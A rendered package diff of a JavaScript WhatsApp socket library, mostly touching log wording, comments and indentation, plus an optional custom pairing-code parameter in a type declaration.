logger.debug('pair success recv');
|
|
524
529
|
try {
|
|
525
530
|
const { reply, creds: updatedCreds } = (0, Utils_1.configureSuccessfulPairing)(stanza, creds);
|
|
526
|
-
logger.info({ me: updatedCreds.me, platform: updatedCreds.platform }, 'pairing configured successfully, expect to restart connection...');
|
|
531
|
+
logger.info({ me: updatedCreds.me, platform: updatedCreds.platform }, 'pairing configured successfully, expect to restart the connection...');
|
|
527
532
|
ev.emit('creds.update', updatedCreds);
|
|
528
533
|
ev.emit('connection.update', { isNewLogin: true, qr: undefined });
|
|
529
534
|
await sendNode(reply);
|
|
@@ -539,7 +544,7 @@ const makeSocket = (config) => {
|
|
|
539
544
|
await uploadPreKeysToServerIfRequired();
|
|
540
545
|
await sendPassiveIq('active');
|
|
541
546
|
logger.info('opened connection to WA');
|
|
542
|
-
clearTimeout(qrTimer); // will never happen in all
|
|
547
|
+
clearTimeout(qrTimer); // will never happen in all likelyhood -- but just in case WA sends success on first try
|
|
543
548
|
ev.emit('creds.update', { me: { ...authState.creds.me, lid: node.attrs.lid } });
|
|
544
549
|
ev.emit('connection.update', { connection: 'open' });
|
|
545
550
|
}
|
|
@@ -611,8 +616,8 @@ const makeSocket = (config) => {
|
|
|
611
616
|
attrs: { name: name }
|
|
612
617
|
})
|
|
613
618
|
.catch(err => {
|
|
614
|
-
|
|
615
|
-
|
|
619
|
+
logger.warn({ trace: err.stack }, 'error in sending presence update on name change');
|
|
620
|
+
});
|
|
616
621
|
}
|
|
617
622
|
Object.assign(creds, update);
|
|
618
623
|
});
|
|
@@ -650,7 +655,7 @@ const makeSocket = (config) => {
|
|
|
650
655
|
};
|
|
651
656
|
exports.makeSocket = makeSocket;
|
|
652
657
|
/**
|
|
653
|
-
* map websocket error to the right type
|
|
658
|
+
* map the websocket error to the right type
|
|
654
659
|
* so it can be retried by the caller
|
|
655
660
|
* */
|
|
656
661
|
function mapWebSocketError(handler) {
|
package/lib/Socket/usync.d.ts
CHANGED
|
@@ -30,7 +30,7 @@ export declare const makeUSyncSocket: (config: SocketConfig) => {
|
|
|
30
30
|
onUnexpectedError: (err: Error | Boom, msg: string) => void;
|
|
31
31
|
uploadPreKeys: (count?: number) => Promise<void>;
|
|
32
32
|
uploadPreKeysToServerIfRequired: () => Promise<void>;
|
|
33
|
-
requestPairingCode: (phoneNumber: string,
|
|
33
|
+
requestPairingCode: (phoneNumber: string, customPairingCode?: string) => Promise<string>;
|
|
34
34
|
waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => Promise<boolean | undefined>, timeoutMs?: number) => Promise<void>;
|
|
35
35
|
sendWAMBuffer: (wamBuffer: Buffer) => Promise<BinaryNode>;
|
|
36
36
|
};
|